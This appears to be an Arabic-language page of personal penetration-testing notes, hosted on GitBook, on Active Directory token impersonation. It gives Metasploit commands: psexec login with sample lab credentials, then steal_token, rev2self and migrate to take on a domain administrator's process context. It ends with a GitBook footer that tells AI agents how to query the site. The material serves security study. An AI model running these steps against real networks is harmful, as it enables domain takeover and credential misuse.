> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/active-directory/lateral-movement/token-impersonation.md).

# انتحال الرمز

لهذا الجزء، نستخدم `ميتاسبلويت`.

{% code overflow="wrap" %}

```bash
msfconsole
```

{% endcode %}

نفترض أننا قد تمكنا بالفعل من اختراق الـ `user1` الحساب.

{% code overflow="wrap" %}

```bash
use exploit/windows/smb/psexec

show options
```

{% endcode %}

<figure><img src="/files/520a8ec6e5e809dd0bde95a6252d554352effabe" alt=""><figcaption></figcaption></figure>

ثم نقوم بتهيئة الوحدة بالمعلمات الصحيحة.

{% code overflow="wrap" %}

```bash
set rhosts 172.16.0.10
set rport 445
set smbdomain WHOAMI
set smbuser user1
set smbpass Password1234
set lhost 172.16.0.2
set lport 4444

run
الصدفة
```

{% endcode %}

<figure><img src="/files/ce8bf1c0a11eba4018a6900cf6ac79f1f9fc8553" alt=""><figcaption></figcaption></figure>

من `ميتربريتر`، نعرض العمليات النشطة على الجهاز.

{% code overflow="wrap" %}

```bash
ps
```

{% endcode %}

قد تنتمي بعض العمليات إلى مسؤول نطاق.

<figure><img src="/files/f5adab5e962572573de5217314e9bb5f6f792a2b" alt=""><figcaption></figcaption></figure>

يمكننا بعد ذلك سرقة رمز العملية المستهدفة من معرّف العملية الخاص بها.

{% code overflow="wrap" %}

```bash
steal_token 6984 
```

{% endcode %}

<figure><img src="/files/d8a7f409ad8ea079dd76fa5457784db02b643a09" alt=""><figcaption></figcaption></figure>

يرتبط هذا الرمز بجلسة الفتح لحساب المسؤول.

إذا فتحنا الآن صدفة، فستعمل ضمن سياق ذلك المستخدم.

{% code overflow="wrap" %}

```bash
الصدفة
```

{% endcode %}

<figure><img src="/files/d56642722d2de5a3db43c38463685837722e6701" alt=""><figcaption></figcaption></figure>

احتمال آخر: نُرحّل حمولة التنفيذ الخاصة بنا إلى هذه العملية لوراثة سياقها.

إذا لزم الأمر، يمكننا أولًا العودة إلى سياقنا الأولي.

{% code overflow="wrap" %}

```bash
rev2self
```

{% endcode %}

ثم نبدأ عملية الترحيل إلى معرّف العملية المستهدف.

{% code overflow="wrap" %}

```bash
migrate 6984
```

{% endcode %}

<figure><img src="/files/d7dfc6b417b9cad3b289b7393b872b8f33360c57" alt=""><figcaption></figcaption></figure>

يبقى القيد بسيطًا: إذا ماتت العملية، فسوف تسقط الجلسة المُرحَّلة أيضًا.

> 172.16.0.10 - أُغلقت جلسة Meterpreter 1. السبب: ماتت

<figure><img src="/files/da9e9ed92d7dadd2b9a4ddb371af1f05c596fc42" alt="" width="547"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/active-directory/lateral-movement/token-impersonation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
